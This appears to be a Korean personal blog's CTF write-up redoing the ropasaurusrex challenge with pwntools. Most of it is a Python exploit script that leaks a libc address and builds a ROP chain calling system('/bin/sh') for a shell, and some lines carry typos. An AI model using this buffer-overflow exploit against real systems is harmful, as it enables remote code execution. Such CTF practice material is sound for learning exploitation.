이미 풀었던 문제이지만 이번 해킹캠프에서도 봤듯이 익스플로잇을 꽤 편하게 해주는 pwntools를 이용하여

다시 한번 익스플로잇을 짜고 돌려 보았다.

여기서 다시한번 알게된 사실은, 문제와 함께 주어지는 라이브러리 파일은 엄연히 대회 때의 라이브러리로,

내 서버나 로컬에서 돌릴 경우에는 당연하게도 라이브러리가 바뀌므로 해당 라이브러리 파일을 분석해서 offset을 구해도

문제를 푸는 데에 아무런 도움을 주지 않는다는 점이다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
import struct
 
_bin = '/home/guest/bin/ropasaurusrex/ropasaurusrex'
 
elf = ELF(_bin)
rop = ROP(elf)
 
up32 = lambda x:struct.unpack('<L', x)[0]
 
read_plt = elf.plt['read']
read_got = elf.got['read']
write_plt = elf.plt['write']
write_got = elf.got['write']
offset_read_system = 0x9aa40
offset_binsh_read = 0x85e54
vuln_func = 0x080483f4
 
print "[*] read@plt : %s" % str(hex(read_plt))
print "[*] read@got : %s" % str(hex(read_got))
print "[*] write@plt : %s" % str(hex(write_plt))
print "[*] write@got : %s" % str(hex(write_got))
print "[*] offset_read_system : %s" % str(hex(offset_read_system))
print "[*] offset_binsh_read : %s" % str(hex(offset_binsh_read))
 
conn = remote('localhost'51000)
 
rop.write(1, read_got, 4)
rop.raw(vuln_func)
 
payload = "A"*(0x88+4+ str(rop)
conn.send(payload)
read_lib = up32(conn.recvn(4))
system_lib = read_lib - offset_read_system
binsh = read_lib + offset_binsh_read
 
print "[*] read@lib : %s" % str(hex(read_lib))
print "[*] system@lib : %s" % str(hex(system_lib))
print "[*] /bin/sh : %s" % str(hex(binsh))
 
rop = ROP(elf)
rop.call(system_lib , [binsh])
payload = "A"*(0x88+4+ str(rop)
conn.send(payload)
conn.interactive()
cs






확실히 푸는데에 직접 got, plt를 구하지 않아도 된다는 점이나 길이를 정해서 recv가 가능한 점,

알아서 rop를 구성해 주는 점 등은 정말 편하고 쓰기 좋았다.

하지만 유의할 점은, 익숙하지 않은 상태에서 억지로 이 툴을 사용해 익스플로잇을 하려고 하면

무슨 함수를 사용해야 하는지 등을 모르기 때문에 오히려 더 시간이 오래 걸릴 수도 있다는 것이다.

좀 더 확실하게 익히기 위해서 다른 문제들도 pwntools를 이용해 재풀이를 해봐야겠다.

'CTF > 지난 대회' 카테고리의 다른 글

2016 SSG CTF - mg (350p)  (0) 2016.04.14
Codegate Junior 2014 Prequal - nuclear (with pwntools)  (0) 2016.03.02
SecuInside 2013 - PE_time  (0) 2016.01.13
SecuInside 2013 - reader  (0) 2016.01.13
SecuInside 2013 - givemeshell  (0) 2016.01.13
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,